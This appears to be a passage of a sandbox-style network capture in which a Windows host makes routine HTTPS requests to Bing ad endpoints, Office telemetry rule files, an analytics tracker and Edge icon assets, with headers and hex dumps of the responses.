22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49886	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:42 UTC	876	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8wY0kH5kmFgIHq8zIt9NMvjVUCUw2Jnjj3TD0VEW3ZfO1p5HdPqPTDYUB80kFRMl1evRjnP5lhcm0BI2tJtB_VLXhD0MdqRwBKLEYp_FGf4z-UnVyq7SiCkKOS7WK7k7SBBQ8uKQ0QHWAGNIMgeTZubbw-dFauwoPK6JRkuRctOamqg9z%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVIlMjZPQ0lEJTNkTTUwMEVS%26rlid%3Df6c8d46b495014025cf8b32a7f57be17&TIME=20241123T015536Z&CID=531174684&EID=531174684&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-23 01:55:42 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=0A1DB144AF32646934C4A404AEB865AB; domain=.bing.com; expires=Thu, 18-Dec-2025 01:55:42 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Sat, 30-Nov-2024 01:55:42 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EAB22D34B3BE44B1A58D3768188DF873 Ref B: EWR311000104035 Ref C: 2024-11-23T01:55:42Z Date: Sat, 23 Nov 2024 01:55:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015542Z-15b8b599d886w4hzhC1TEBb4ug000000027g00000000gwv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015543Z-178bfbc474bq2pr7hC1NYCkfgg00000003z0000000008v94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:43 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2145ee07-e01e-003c-0347-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015543Z-178bfbc474bwh9gmhC1NYCy3rs00000003yg0000000047a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:44 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015544Z-178bfbc474bscnbchC1NYCe7eg00000003xg00000000d77w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 0ecd932e-001e-0066-5d4b-3c561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015544Z-15b8b599d88wk8w4hC1TEB14b800000002ag000000008bq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49864	18.165.220.110	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:44 UTC	925	OUT	GET /b?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:45 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 01:55:45 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B2b9508a5e511492384f711732326945; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B2b9508a5e511492384f711732326945; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 9b06261b360f2fc15a3d94db42c0a168.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: gA9vGOJ_CzIHqt5fbFPUYpfU7A01MyOh-A_c8vDcKoMbtIx3aG2D2A==

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015545Z-178bfbc474b9xljthC1NYCtw9400000003u00000000015ny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015545Z-178bfbc474b9xljthC1NYCtw9400000003n000000000n52m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49901	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f05f392f-b01e-0075-322a-3defbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-15b8b599d88z9sc7hC1TEBkr4w00000002c000000000bdx9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49900	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:45 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f9357370-101e-005a-312a-3d6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-178bfbc474btrnf9hC1NYCb80g00000003zg000000008da5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49904	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
